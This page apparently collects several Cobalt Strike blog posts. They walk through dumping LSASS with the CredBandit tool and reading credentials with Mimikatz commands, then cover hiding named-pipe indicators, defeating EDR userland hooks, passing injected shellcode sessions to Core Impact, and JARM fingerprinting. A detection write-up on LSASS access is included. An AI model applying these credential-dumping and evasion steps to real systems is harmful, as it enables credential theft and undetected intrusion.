CredBandit (In memory BOF MiniDump) – Tool review – Part 1

One of the things I find fascinating about being on the Cobalt Strike team is the community. It is amazing to see how people overcome unique challenges and push the tool in directions never considered. I want explore this with CredBandit (https://github.com/xforcered/CredBandit). This tool has had updates since I started exploring. I’m specifically, looking at this version for this blog post.

 

In part 2, I ‘ll explore the latest version and how it uses an “undocumented” feature to solve the challenges discussed in this post.

 

Per the author:

CredBandit is a proof of concept Beacon Object File (BOF) that uses static x64 syscalls to perform a complete in memory dump of a process and send that back through your already existing Beacon communication channel. The memory dump is done by using NTFS transactions, which allows us to write the dump to memory. Additionally, the MiniDumpWriteDump API has been replaced with an adaptation of ReactOS’s implementation of MiniDumpWriteDump.
When you dig into this tool,  you will see that CredBandit is “just another minidump tool.” This is true, but there are some interesting approaches to this.
My interest in CredBandit is less from the minidump implementation but the “duct tape engineering” used to bend Beacon to anthemtotheego‘s will.

CredBandit uses an unconventional way of transferring in memory data through Beacon by overloading the BEACON_OUTPUT aggressor function to handle data sent from BeaconPrintf() function.

There are other interesting aspects to this project, namely:

    • Beacon Object File (BOF) using direct syscalls
    • In memory storage of data (The dump does not need to be written to disk)
    • ReactOS implementation of MiniDumpWriteDump
You can read more about the minidump technique here (T1003-001) or here (Dump credentials from lsass without mimikatz).

 

Note on the Defense Perspective

Although the focus on this post is to highlight an interesting way to bend Cobalt Strike to a user’s will, it does cover a credential dumping technique. Understanding detection opportunities of techniques vs. tools is an important concept in security operations. It can be helpful to highlight both the offense capabilities and defense opportunities of a technique. I’ve invited Jonny Johnson (https://twitter.com/jsecurity101) to add context to the detection story of this technique, seen below in the Detection Opportunities section.

Quick Start

Warning: BOFs run in Beacon’s memory. If they crash, Beacon crashes. The stability of this BOF may not be 100% reliable. Beacons may die. It’s something to consider if you choose to use this or any other BOF.

CredBandit is easy to use, but don’t that fool you into thinking it isn’t a clever approach to creating a minidump. All the hard work has been done, and you only need a few commands to use it.

The basic process is as follows:

  1. Clone the project: https://github.com/xforcered/CredBandit
  2. Compile CredBandit to a BOF
  3. Load the aggressor script in Cobalt Strike
  4. Launch a beacon running in context with the necessary permissions (i.e., high integrity process running as administrator)
  5. Locate the PID of LSASS
  6. Run CredBandit
  7. Wait …. 🙂
  8. Convert the CredBandit output into a usable dump
  9. Use Mimikatz to extract information from the dump

Consult the readme for details.

Let’s See This in Action

Load the aggressor script from the Cobalt Strike manager

Get the PID of LSASS

Interact with a beacon running with the permissions needed to dump LSASS memory and get the PID of LSASS.

An output of PS gives us a PID of 656.

 

Run CredBandit to capture the minidump of LSASS

Loading the MiniDumpWriteDump.cna aggressor script added the command credBandit to Beacon.

Running help shows we only need the PID of LSASS to use the command credBandit.

This will take time. Beacon may appear to be unresponsive, but it is processing the minidump and sending back chunks of data by hijacking the BeaconPrintf function. In this example, over 80mb in data must be transferred.

Once the Dump is complete, Beacon should return to normal. A word of caution: I had a few Beacons die after the process completed. The data was successfully transferred, but the Beacon process died. This could be due to the BOF being functional but missing error handling, but I did not investigate.

NOTE: The CredBandit aggressor script, MiniDumpWriteDump.cna, changed the behavior of BEACON_OUTPUT. This can cause other functions to fail. You should unload the script and restart the Cobalt Strike client or use RevertMiniDumpWriteDump.cna to reverse the changes.

Convert the extracted data to a usable format

The file dumpFile.txt is created in the cobaltstrike directory. This file is the result generated by  “highjacking” the BEACON_OUTPUT function to write the received chunks of data from the BeaconPrintf function.

Run the cleanupMiniDump.sh command to convert this file back into something useful:

./cleanupMiniDump.sh

You will now have two new files in the cobaltstrike directory: .dmp and .txt.

The .txt is a backup of the original dumpFile.txt.

The .dmp is the minidump file of LSASS.

Use Mimikatz to extract information from the dump

At this point, we are done with CredBandit. It provided the dump of LSASS. We can now use Mimikatz offline to extract information.

You can use something like the following commands:

mimikatz
mimikatz # sekurlsa::minidump c:\payloads\credBandit\lsass.dmp
mimikatz # sekurlsa::logonPasswords



BTW, dontstealmypassword

 


Demo

Here is a quick demo of the tool.

 


Breaking down the key concepts

Beacon Object File (BOF) using direct syscalls

Direct syscalls can provide a way of avoiding API hooking from security tools by avoiding the need for calling these APIs.

CredBandit uses much of work done by Outflank on using Syscall in Beacon Object Files. I won’t spend time on this but here are great resources:

In memory storage of data

The minidump output is stored in Beacon’s memory vs. being written to disk. This is based on using a minidump implementation that uses NTFS transactions to write to memory: https://github.com/PorLaCola25/TransactedSharpMiniDump

ReactOS implementation of MiniDumpWriteDump

MiniDumpWriteDump API is replaced with an adaptation of ReactOS’s implementation of MiniDumpWriteDump: https://github.com/rookuu/BOFs/tree/main/MiniDumpWriteDump

Unconventional way of transferring in memory data through Beacon via overloaded BeaconPrintf() function

This is what I find most interesting about this project. In short, the BEACON_OUTPUT aggressor function is used to send the base64 encode dump it receives as chunks from BeaconPrintf. These chunks are written to a file that can be cleaned up and decoded.

How does this hack work? It’s clever and simple. The BOF uses the BeaconPrintf function to send chunks of the base64 encoded minidump file to the teamserver. This data is captured and written to a file on disk.

The following is an example of the output file:

received output:
TURNUJOnAAAEAAAAIAAAAAAAAAAAAAAAIggAAAAAAAAHAAAAOAAAAFAAAAAEAAAAdCMAAIwAAAAJAAAAUCQAAMI6AAAAAAAAAAAAAAAAAAA...
received output:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABolPx/AAAA4AkACJUKAP2mu1yUJQAAvQTv/gAAAQAAAAcAAQDuQgAACgABAO5CPwAAAAA...
received output:
AAAAAAAAAAAAAAAAAAAAAAAAAAC5kPx/AAAAoA4A94kOABHEhU5sJwAAvQTv/gAAAQACAAYAAQDuQgAACgABAO5CPwAAAAAAAAAEAAQAAgA...
received output:
AAAAAAAAAAAAAAAYkfx/AAAAoAcADk4IABy/Gt86KQAAvQTv/gAAAQACAAYAAQDuQgAACgABAO5CPwAAAAAAAAAEAAQAAgAAAAAAAAAAAAA...

This minidump file is rebuilt using the script cleanupMiniDump.sh. Credential material can be extracted using Mimikatz.


 Adjusting the Technique

The heart of this technique is based on accessing and dumping LSASS. Instead of using the suspicious activity of payload.exe accessing lsass.exe, you could find a process that regularly accesses LSASS, inject into that process, and perform your dump.

The BOF (https://github.com/outflanknl/FindObjects-BOF) may help you locate a process that has a handle to lsass.exe using similar OPSEC as CredBandit by using a BOF and direct systems calls. FindObjects-BOF is “A Cobalt Strike Beacon Object File (BOF) project which uses direct system calls to enumerate processes for specific modules or process handles.

Give it a try!


Detection Opportunities

Although the focus on this post was to highlight an interesting way to bend Cobalt Strike to a user’s will, it does cover a credential dumping technique. Understanding detection opportunities of techniques vs. tools is an important concept in detection engineering. I’ve invited Jonny Johnson (https://twitter.com/jsecurity101) to provide context to the detection story of this technique.

Jonny’s detection note are in the left column, and I hae added my take in the right.

Detection Story by Jonny Joe’s comments
Before we can start creating our detection we must identify what is the main action of this whole chain – opening a handle to LSASS. That will be the core of this detection. If we detect on the tool or code specifically, then we lose detection visibility once someone creates another code that uses different functions. By focusing on the technique’s core behavior, we prevent manually creating a gap in our detection strategy. For this piece I am going to leverage Sysmon Event ID: 10 – Process Accessed. This event allows me to see the source process that was requesting access to the target process, the target process, the granted access rights (explained in a moment), along with both the source process GUID and target process GUID.

Sysmon Event ID 10 fires when OpenProcess is called, and because Sysmon is a kernel driver, it has insight into OpenProcess in both user-mode and kernel-mode. This particular implementation uses a syscall for NtOpenProcess within ntdll.dll, which is the Native API version of the Win32 API OpenProcess.

How is this useful?

 

Within the NtOpenProcess documentation, there is a parameter called DesiredAccess.This correlates to the ACCESS_MASK type, which is a bitmask. This access is typically defined by the function that wants to obtain a handle to a process. OpenProcess acts as a middle man between the function call and the target process. The function in this instance is MiniDumpWriteDump. Although ReactOS’s implementation of MiniDumpWriteDump is being used, we are still dealing with Windows securable objects (e.g. processes and files). Due to this, we must follow Windows built-in rules for these objects. Also, ReactOS’s MiniDumpWriteDump is using the exact same parameters as Microsoft’s MiniDumpWriteDump API.

 

Don’t overemphasize tools. Fundamentally, this technique is based on the detection a process accessing LSASS.

ReactOS’s MiniDumpWriteDump is using the exact same parameters as Microsoft’s MiniDumpWriteDump API.” It is important to focus on the technique’s primitives. There can be multiple implementations by different tools but the technique can often be broken down in to primitives.

Within Microsoft’s documentation, we can see that if MiniDumpWriteDump wants to obtain a handle to a process, it must have PROCESS_QUERY_IMFORMATION & PROCESS_VM_READ access to that process, which we can see is requested in the CredBandit source code below:

However, this still isn’t the minimum rights that a process needs to perform this action on another process. After reading Microsoft’s Process Security and Access Rights we can see that anytime a process is granted PROCESS_QUERY_IMFORMATION, it is automatically granted PROCESS_QUERY_LIMITED_IMFORMATION. This has a hex value of 0x1410 (this will be used in the analytic later).

Next, we want to see the file created via NtCreateTransacted. Sysmon uses a minifilter driver to monitor file system’s stacks indirectly, so it has insight into files being written to disk or a phantom file. One thing we have to be careful with is that we don’t know the extension the actor might have for the dump file. Bottom line: this is attacker-controlled and if we specify this into our analytic we risk creating a blind spot, which can lead to an analytical bypass.

Lastly, a little icing on the cake would be to add a process creation event to this analytic as it would just provide context around which user was leveraged for this activity.

Data Sources/Events:

User Rights:

Process Access:

File Creation:

  • Sysmon Event ID 11

Process Creation:

A detection strategy hypothesis should account for potential blind spots. Blind spots are not bad, but should be identified. https://posts.specterops.io/detection-in-depth-a2392b3a7e94

Analytics:

The following analytics are not meant to be copy and paste, but more of the beginning of detection for your environment. If you only look for the access rights 0x1410, then you will create a blind spot if an actor uses ReadProcessMemory to dump LSASS. Ideally, multiple detections would be made for dumping LSASS so that blind spots could be covered along the way.

Sysmon EID 10 Process Access

Regarding Detection:

Multiple combinations of access rights may be requested based on the implementation. Focus on a query to cover minimal rights needed. This will reduce blind spots based on a specific implementation.

Regarding OPSEC:

Notice that payload.exe is accessing lsass.exe. This is due to this implementation as a BOF running directly under the context of Beacon.

BOF and syscalls can be great, but maintain OPSEC awareness.

Sysmon EID 10 & EID 11

Sysmon EID 10, 11, & 1

Detection Summary

When writing a detection the first thing I do is identify the capabilities that a tool and/or technique has. This helps me narrow in on a scope. A piece of code could be implementing 3-4 techniques. When this happens, I separate these techniques and look into them separately. This allows me to create a detection strategy per capability.
When the capability is identified and the components being used are highlighted, proper scoping can be applied. We can see a commonality between this implementation and many others. That commonality is MiniDumpWriteDump and the access rights needed for that function call. This is the foundation of our detection or base condition. However, this could be evaded if an actor uses ReadProcessMemory because there are a different set of minimum access rights needed. A separate detection would need to be created for this function. This is ideal as it applies an overlap of our detection to cover the blind spots that are related to a technique.
Pulling attributes like file creation and process creation are contextual attributes that can be applied back to the core detection (MiniDump). The detection shouldn’t rely on these attributes because they are not guaranteed to be present.

Cobalt Strike is not inherently malicious. It is simply a way for someone to implement an action. The intent behind that action is what determines a classification of malicious or benign. Consequently, I don’t focus on Cobalt Strike specific signatures, I look at the behavior/technique being implemented.

I like how Palantir outlines a method for documenting detection strategies using their Alerting and Detection Strategy Framework (ADS).
Jonny Johnson (https://twitter.com/jsecurity101)

Thanks to https://twitter.com/anthemtotheego  for creating this tool.

Stay tuned for part 2 where I ‘ll talk about how the latest version uses an “undocumented” feature to download the minidump file instead of hijacking the BEACON_OUTPUT function.

 

Conclusion

Wait?!?! This post highlighted the need to ‘hack’ Cobalt Strike because of a lack of features.  Why isn’t this part of the toolset?

Cobalt Strike is a framework. It is meant to be tuned to fit a user’s need. Projects like this help expose areas that can be improved. This helps the team add new features, update documentation, or provide examples.

 

References

Detection References:

 

 

 

Learn Pipe Fitting for all of your Offense Projects

Named pipes are a method of inter-process communication in Windows. They’re used primarily for local processes to communicate with eachother. They can also facilitate communication between two processes on separate hosts. This traffic is encapsulated in the Microsoft SMB Protocol. If you ever hear someone refer to a named pipe transport as an SMB channel, this is why.

Cobalt Strike uses named pipes in several of its features. In this post, I’ll walk you through where Cobalt Strike uses named pipes, what the default pipename is, and how to change it. I’ll also share some tips to avoid named pipes in your Cobalt Strike attack chain too.

Where does Cobalt Strike use named pipes?

Cobalt Strike’s default Artifact Kit EXEs and DLLs use named pipes to launder shellcode in a way that defeats antivirus binary emulation circa 2014. It’s still the default. When you see \\.\pipe\MSSE-###-server that’s likely the default Cobalt Strike Artifact Kit binaries. You can change this via the Artifact Kit. Look at src-common/bypass-pipe.c in the Artifact Kit to see the implementation.

Cobalt Strike also uses named pipes for its payload staging in the jump psexec_psh module for lateral movement. This pipename is \\.\pipe\status_##. You can change the pipe via Malleable C2 (set pipename_stager).

Cobalt Strike uses named pipes in its SMB Beacon communication. The product has had this feature since 2013. It’s pretty cool. You can change the pipename via your profile and when you configure an SMB Beacon payload. I’m also aware of a few detections that target the content of the SMB Beacon feature too. The SMB Beacon uses a [length][data] pattern and these IOCs target predictable [length] values at the beginning of the traffic. The smb_frame_header Malleable C2 option pushes back on this. The default pipe is \\[target]\pipe\msagent_##.

Cobalt Strike uses named pipes for its SSH sessions to chain to a parent Beacon. The SSH client in Cobalt Strike is essentially an SMB Beacon as far as Cobalt Strike is concerned. You can change the pipename (as of 4.2) by setting ssh_pipename in your profile. The default name of this pipe (CS 4.2 and later) is \\.\pipe\postex_ssh_####.

Cobalt Strike uses named pipes for most of its post-exploitation jobs. We use named pipes for post-ex tools that inject into an explicit process (screenshot, keylog). Our fork&run tools largely use named pipes to communicate results back to Beacon too. F-Secure’s Detecting Cobalt Strike Default Modules via Named Pipe Analysis discusses this aspect of Cobalt Strike’s named pipes. We introduced the ability to change these pipenames in Cobalt Strike 4.2. Set post-ex -> pipename in your Malleable C2 profile. The default name for these pipes is \\.\pipe\postex_#### in Cobalt Strike 4.2 and later. Prior to 4.2, the default name was random-ish.

Pipe Fitting with Cobalt Strike

With the above, you’re now armed with knowledge of where Cobalt Strike uses named pipes. You’re also empowered to change their default names too. If you’re looking for a candidate pipename, use ls \\.\pipe from Beacon to quickly see a list of named pipes on a lived-in Windows system. This will give you plenty to choose from. Also, when you set your plausible pipe names, be aware that each # character is replaced with a random character (0-9a-f) as well.  And, one last tip: you can specify a comma-separated list of candidate pipe names in your ssh_pipename and post-ex -> pipename profile values. Cobalt Strike will pick from this list, at random, when one of these values is needed.

Simplify your Offense Plumbing

Cobalt Strike uses named pipes in several parts of its offense chain. These are largely optional though and you can avoid them with some care. For example, the default Artifact Kit uses named pipes; but this is not a requirement of the Artifact Kit. Our other Artifact Kit templates do not use named pipes. For lateral movement and peer-to-peer chaining of Beacons, the TCP Beacon is an option. To avoid named pipes from our SSH sessions, tunnel an external SSH client via a SOCKS proxy pivot. And, while a lot of our fork&run post-exploitation DLLs use named pipes for results, Beacon Object Files are another way to build and run post-exploitation tools on top of Beacon. The Beacon Object Files mechanism does not use named pipes.

Closing Thoughts

This post focused on named pipe names, but the concepts here apply to the rest of Cobalt Strike as well. In offense, knowing your IOCs and how to change or avoid them is key to success. Our goal with Cobalt Strike isn’t amazing and ever-changing default pipe names or IOCs. Our goal is flexibility. Our current and future work is to give you more control over your attack chain over time. To know today’s options, read Kits, Profiles, and Scripts… Oh my! This blog post summarizes ways to customize Cobalt Strike. Our late-2019 Red Team Operations with Cobalt Strike mixes these ideas into each lecture as well.


 

Interested in Trying Cobalt Strike?

REQUEST A QUOTE

Pushing back on userland hooks with Cobalt Strike

When I think about defense in the current era, I think of it as a game of instrumentation and telemetry. A well-instrumented endpoint provides a defense team and an automated security solution with the potential to react to or have visibility into a lot of events on a system. I say a lot, because certainly some actions are not easy to see [or practical to work with] via today’s instrumentation methods.

A popular method to instrument Windows endpoints is userland hooking. The process for this instrumentation looks like this:

(a) load a security product DLL into the process space [on process start, before the process starts to do anything]

(b) from the product DLL: installs hooks into certain APIs of interest. There are a lot of different ways to hook, but one of the most common is to patch the first instructions in a function-of-interest to jump to the vendor’s code, do the analysis, execute the patched over instructions, and resume the function just after the patch.

This method of instrumentation is popular because it’s easy-ish to implement, well understood, and was best practice in security products for a very long time. It’s still common in a lot of security technologies today.

The downside of the above instrumentation method is that it’s also suscpetible to tamper and attack by an adversary. The adversary’s code that lives in a process has the same rights and ability to examine and change code as the security product that installed itself there.

The above possibility is the impetus for this blog post. I’d like to walk you through a few strategies to subvert instrumentation implemented as userland hooks with the Cobalt Strike product.

Which products use hooks and what do they hook?

Each of these techniques does benefit from awareness of the endpoint security products in play and how [also, if] they use userland hooks to have visibility.  Devisha Rochlani did a lot of work to survey different products and document their hooks. Read the Anti-virus Artifacts papers for more on this.

To do target-specific leg work, consult Matt Hand’s Adventures in Dynamic Evasion. Matt discusses how to identify hooks in a customer’s environment right now and use that information to programatically craft a tailored evasion strategy.

Avoid Hooks with Direct System Calls

One way to defeat userland hooks is to avoid them by making system calls directly from our code.

A direct syscall is made by populating registers with arguments and a syscall number that corresponds to an API exposed to userland by the operating system kernel. The system call is then invoked with the syscall instruction. NTDLL is largely thin wrappers around these kernel APIs and is a place some products insert their hooks. By making syscalls directly from our code, and not calling them via NTDLL (or an API that calls them via NTDLL), we avoid these hooks.

The value of this technique is that we deny a security product visibility into our actions via this means. The downside is we have to adapt our code to working with these APIs specifically.

If a security product isn’t using userland hooks this technique provides no evasion value. If we use system calls for uninteresting (e.g., not hooked) actions–this technique provides no evasion value.

Also, be aware that direct system calls (outside of specific contexts, like NTDLL) can be disabled process-by-process in Windows 10. This is the ProcessSystemCallDisablePolicy. If something can be disabled, I surmise it can also be monitored and used for detection purposes too. This leads to a familiar situation. A technique that provides evasion utility now can also provide detection opportunities later on. This is a trueism with most things offense. Always keep it in mind when deciding whether or not to use a technique like this.

With the above out of the way, what are some opportunities to use system calls from Cobalt Strike’s Beacon?

One option is to use system calls in your EXE and DLL artifacts that run Cobalt Strike’s Beacon. The blog post Implementing Syscalls in the Cobalt Strike Artifact Kit walks through how to do this for Cobalt Strike’s EXEs and DLLs. The post’s author shared that VirtualAlloc, VirtualProtect, and CreateThread are calls some products hook to identify malicious activity. I’d also go further and say that if your artifact spawns a process and injects a payload into it, direct syscalls are a way to hide this behavior from some security stacks.

Another option is to use system calls within some of your Beacon post-exploitation activities. While Beacon doesn’t use direct system calls with any of its built-ins, you can define your own built-ins with Beacon Object Files. Cornelis de Plaa from Outflank authored Direct Syscalls from Beacon Object Files to demonstrate how to use Jackson T.‘s Syswhispers 1 (Syswhispers 2 just came out!) from Beacon Object Files. As a proof-of-concept, Cornelis released a Beacon Object File to restore plaintext credential caching in LSASS via an in-memory patch.

Building on the above, Alfie Champion used Outflank’s foundation and re-implemented Cobalt Strike’s shinject and shspawn as Beacon Object Files that use direct system calls. This provides a way to do process injection from Cobalt Strike, but evade detections that rely on userland hooks. The only thing that’s missing is some way for scripts to intercept Cobalt Strike’s built-in fork&run actions and override the built-in behaviors with a BOF. Hmmmmm.

Refresh DLLs to Remove Function Hooks

Another way to defeat userland hooks is to find hooks implemented as code patches and restore the functions to their original uninstrumented state. One way to do this is to find hooked DLLs in memory, read the original DLL from disk, and use that content to restore the mapped DLL to its unhooked state. This is DLL refreshing.

The simplest case of DLL refreshing is to act on NTDLL. NTDLL is a good candidate, because its really easy to refresh. You don’t have to worry about relocations and alternate API sets. NTDLL is also a good candidate because it’s a target for security product hooks! The NTDLL functions are often the lowest-level API that other Windows APIs call from userland. A well-placed hook in NTDLL will grant visibility into all of the userland APIs that use it.

You can refresh NTDLL within a Cobalt Strike Beacon with a Beacon Object File. Riccardo Ancarani put together a proof-of-concept to do this. Compile the code and use inline-execute to run it.

If NTDLL is not enough, you can refresh all of the DLLs in your current process. This path has more peril though. The DLL refreshing implementation needs to account for relocations, apisets, and other stuff that makes the unhooked code on disk differ from the unhooked code in memory. Jeff Tang from Cylance’s Red Team undertook this daunting task in 2017 and released their Universal Unhooker (whitepaper).

I’ve put together a Beacon Object File implementation of Cylance’s Universal Unhooker. The script for this BOF adds an unhook alias to Beacon. Type unhook and Beacon will pass control to the unhooker code, let it do its thing, and then return control back to Beacon.

Both of these techniques are great options to clean your Beacon process space before you start into other offense activities.

While the above are Beacon Object Files and presume that your Beacon is already loaded, you may also find it’s worthwhile to implement DLL refreshing in your initial access artifact too. Like direct system calls, this is a way to defeat userland hooking visibility that could affect your agent loading or its initial communications.

Prevent Hooks via Windows Process Mitigations

So far, we’ve discussed ways to defeat hooks by either avoiding them or undoing them. It’s possible to prevent hooking altogether too.

I became interested in this approach, when I learned that Google Chrome takes many steps to prevent security products from loading into its process space. Google was tired of entertaining crash reports from poorly implemented endpoint security products and opted to fight back against this in their own code. I share Google’s concerns about allowing an endpoint security product to share space with my post-exploitation code. My reasons are different, but we’re very much aligned on this cause!

The above led me to experiment with the Windows 10 process mitigation policy, BinarySignaturePolicy. A process run with a BinarySignaturePolicy of MicrosoftSignedOnly will refuse to load any DLL not signed by Microsoft into that process space. This mitigation prevents some security products from loading their DLLs into the new process space.

I opted to use the above to implement blockdlls in Cobalt Strike 3.14. blockdlls is a session prepping command to run processes with this flag set. The idea of blockdlls is processes spawned by Beacon will be free to act with less scrutiny, in some situations.

There are caveats to blockdlls. The mitigation is a recent-ish Windows 10 addition. It doesn’t work on versions of Windows where this mitigation isn’t implemented. Duh! And, security vendors do have the option to get Microsoft to sign their DLLs via an attestation service offered by Microsoft. A few made this exact move after Cobalt Strike weaponized this mitigation in version 3.14.

For more information on this technique and its variations, read Adam Chester’s Protecting Your malware with blockdlls and ACG. It’s a great overview of the technique and also discusses variations of the same idea.

Like direct system calls, I see the use of process mitigations as an evasion that is also potentially its own tell. Be aware of this tradeoff. Also, like direct system calls, this is an option that has use both during post-exploitation and in an initial access artifact. Any initial access artifact that performs migration (again, Cobalt Strike’s service executables do this) could benefit from this approach in some security stacks too.

Closing Thoughts

And, there you have it. This blog posted presented a few different techniques to defeat userland hooks with Cobalt Strike. Better, each of these techniques delivers benefit at different places in Cobalt Strike’s engagement cycle.

Be aware that each of these methods is beneficial in very specific circumstances. None of the above will have impact against technologies that do not use userland hooks for instrumentation. Offense is always about trade-offs. Knowing the techniques available to you and knowing their trade-offs will help you assess your situation and decide the best way forward. This is key to good security testing engagements.

Agent Deployed: Core Impact and Cobalt Strike Interoperability

Core Impact 20.3 has shipped this week. With this release, we’re revealing patterns for interoperability between Core Impact and Cobalt Strike. In this post, I’ll walk you through these patterns and provide advice on how to get benefit using Cobalt Strike and Core Impact together.

A Red Team Operator’s Introduction to Core Impact

Prior to jumping into the patterns, I’d like to introduce you to Core Impact with my voice. Core Impact is a commercial penetration testing tool and exploit framework that has had continuous development since 1998.

Impact is a collection of remote, local, and client-side attacks for public vulnerabilities and other common offense actions. We implement [with special attention to QA] our own exploits as well. While we announce 2-3 product updates per year, we push new modules and module updates in between releases too.

Impact is also a collection of post-exploitation agents for Windows, Linux, other *NIX flavors (to include OS X), and Cisco IOS. While Windows has the most features and best support, our *NIX agents are robust and useful. The pivoting model and interface for these platforms is largely unified. The Impact agent is one of my favorite parts of the product.

Core Impact also has a graphical user interface to bring all of these things together. It’s quirky and does have a learning curve. But, once you grok the ideas behind it, the product clicks and it is thought out.

While Core Impact was long-marketed as a vulnerability verification tool [notice: I’m not mentioning the automation], it’s clear to me that the product was architected by hackers. This hacker side of Core Impact is what I’d like to show you in this video walk-through:

Session Passing from Core Impact to Cobalt Strike

One of the most important forms of tool interoperability is the ability to pass sessions between platforms.

Core Impact 20.3 includes a Run shellcode in temporary process module to support session passing. This module spawns a temporary process and injects the contents of the specified file into it. The module does support spawning code x86 -> x86, x64 -> x64, and x64 -> x86.

To pass a session from Core Impact to Cobalt Strike:

[Cobalt Strike]

1. Go to Attacks -> Packages -> Windows EXE (S)
2. Press … to choose your listener
3. Change Output to raw
4. Check x64 if you wish to export an x64 payload.
5. Press Generate and save the file

[Core Impact]

1. Right-click on the desired agent and click Set as Source
2. Find the Run shellcode in temporary process module and double-click it.
3. Set ARCHITECTURE to x86-64 if you exported an x64 payload
4. Set FILENAME to the file generated by Cobalt Strike
5. Press OK

This pattern is a great way to spawn Cobalt Strike’s Beacon after a successful remote or privilege escalation exploit with Core Impact.

Session Passing from Cobalt Strike to Core Impact

You can also spawn a Core Impact agent from Cobalt Strike too. If Core Impact and Cobalt Strike can reach the same network, this pattern is a light way to turn an access obtained with Beacon (e.g., via phishing, lateral movement, etc.) into an Impact agent.

[Core Impact]

1. Find the Package and Register Agent module and double-click it.
2. Change ARCHITECTURE to x86-64 if you’d like to export an x64 agent
3. Change BINARY TYPE to raw
4. Change TARGET FILE to where you would like to save the file
5. Expand Agent Connection
6. Change CONNECTION METHOD and PORT to fit your preference. I find the Connect from target (reverse TCP connection) is the most performant.

[Cobalt Strike]

1. Interact with a Beacon
2. Type shspawn x64 if you exported an x64 agent. Type shspawn x86 if you exported an x86 agent.
3. Find the file that you exported.
4. Press Open.

In a few moments, you should hear that famous New Agent Deployed wav.

Tunnel Core Impact exploits through Cobalt Strike

Core Impact has an interesting offensive model. Its exploits and scans do not originate from your Core Impact GUI. The entire framework is architected to delegate offense activity through a source agent. The currently selected source agent also acts as a controller to receive connections from reverse agents [or to connect to and establish control of bind agents]. In this model, the offense process is: start with local agent, find and exploit target, set new agent as source agent, find and exploit newly visible targets, repeat until satisfied.

As the agent is the main offense actor in Core Impact, tunneling Core Impact exploits is best accomplished by tunneling the Core Impact agent through Cobalt Strike’s Beacon.

Cobalt Strike 4.2 introduced the spunnel command to spawn Core Impact’s Windows agent in a temporary process and create a localhost-only reverse port forward for it. Here are the steps to tunnel Core Impact’s agent with spunnel:

[Core Impact]

1. Click the Modules tab in the Core Impact user interface
2. Search for Package and Register Agent
3. Double-click this module
4. Change Platform to Windows
5. Change Architecture to x86-64
6. Change Binary Type to raw
7. Click Target File and press … to decide where to save the output.
8. Go to Agent Connection
9. Change Connection Method to Connect from Target
10. Change Connect Back Hostname to 127.0.0.1
11. Change Port to some value (e.g., 9000) and remember it.
12. Press OK.

[Cobalt Strike]

1. Interact with a Beacon
2. Type spunnel x64 [impact IP address] 9000 and press enter.
3. Find the file that you exported.
4. Press Open.

This similar to passing a session from Cobalt Strike to Core Impact. The difference here is the Impact agent’s traffic is tunneled through Cobalt Strike’s Beacon payload.

What happens when Cobalt Strike’s team server is on the internet and Core Impact is on a local Windows virtual machine? We have a pattern for this too. Run a Cobalt Strike client from the same Windows system that Core Impact is installed onto. Connect this Cobalt Strike client to your team server. In this setup, run spunnel_local x64 127.0.0.1 9000 to spawn and tunnel the Impact agent through Beacon. The spunnel_local command is like spunnel, with the difference that it routes the agent traffic from Beacon to the team server and onwards through your Cobalt Strike client. The spunnel_local command was designed for this exact situation.

Next step: Request a trial

The above options are our patterns for interoperability between Core Impact and Cobalt Strike.

If you have Cobalt Strike and would like to try these patterns with Core Impact, we recommend that you request a trial of Core Impact and try it out.

A Red Teamer Plays with JARM

I spent a little time looking into Saleforce’s JARM tool released in November. JARM is an active tool to probe the TLS/SSL stack of a listening internet application and generate a hash that’s unique to that specific TLS/SSL stack.

One of the initial JARM fingerprints of interest relates to Cobalt Strike. The value associated with Cobalt Strike is:

07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

To generate a JARM fingerprint for an application, use the JARM python tool:

python3 jarm.py [target] -p [port]

I opted to dig into this, because I wanted to get a sense of whether the fingerprint is Cobalt Strike or Java.

Cobalt Strike’s JARM Fingerprint is Java’s JARM Fingerprint

I started my work with a hypothesis: Cobalt Strike’s JARM fingerprint is Java’s JARM fingerprint. To validate this, I created a simple Java SSL server application (listens on port 1234) in Sleep.

import javax.net.*;
import javax.net.ssl.*;

$factory = [SSLServerSocketFactory getDefault];
$server  = [$factory createServerSocket: 1234];
[$server setSoTimeout: 0];

if (checkError($error)) {
	warn($error);
}

while (true) {
	$socket = [$server accept];	
	[$socket startHandshake];
	[$socket close];
}

I ran this server from Java 11 with:

java -jar sleep.jar server.sl

I assessed its JARM fingerprint as:

00000000000000000042d41d00041d7a6ef1dc1a653e7ae663e0a2214cc4d9

Interesting! This fingerprint does not match the supposed Cobalt Strike fingerprint. Does this mean we’re done? No.

The current popular use of JARM is to fingerprint web server applications listening on port 443. This implies that these servers have a certificate associated with their TLS communications. Does this change the above JARM fingerprint? Let’s setup an experiment to find out.

I generated a Java keystore with a self-signed certificate and I directed my simple server to use it:

keytool -keystore ./exp.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -dname “CN=,OU=,O=,L=,S=,C=”
java -Djavax.net.ssl.keyStore=./exp.store -Djavax.net.ssl.keyStorePassword=123456 -jar sleep.jar server.sl

The JARM result:

07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

Interesting. We’ve validated that the above JARM fingerprint is specific to a Java 11 TLS stack.

Another question: is the JARM fingerprint affected by Java version? I setup several experiments and validated that yes, different major Java versions have different JARM fingerprints in the above circumstance.

How many Java-native Web servers are on the internet?

Part of the value of JARM is to turn the internet haystack into something smaller for an analyst to sift through. I wanted to get a sense of how much Java is on the internet. Fortunately, this analysis was easy thanks to some timely and available data. Silas Cutler had scanned the internet for port 443 and obtained JARM values for each of these hosts. This data was made available as an SQLite database too. Counting through this data was a relatively easy exercise of:

sqlite> .open jarm.sqlite
sqlite> select COUNT(ip) FROM jarm WHERE hash = “[hash here]”;

Here’s what I found digging through this data:

Application Count JARM Hash
Java 1.8.0 21,099 07d14d16d21d21d07c07d14d07d21d9b2f5869a6985368a9dec764186a9175
Java 1.9.0 9 05d14d16d04d04d05c05d14d05d04d4606ef7946105f20b303b9a05200e829
Java 11.05 2,957 07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1
Java 13.01 0 2ad2ad16d2ad2ad22c42d42d00042d58c7162162b6a603d3d90a2b76865b53

I went a slight step further with this data. I opted to convert the Java 11.05 data to hostnames and eyeball what appeared as interesting. I found several mail servers. I did not investigate which application they are. I found an instance of Burp Intruder (corroborating Salesforce’s blog post). I also found several instances of Oracle Peoplesoft as well. These JARM hashes are a fingerprint for Java applications, in general.

Closing Thoughts

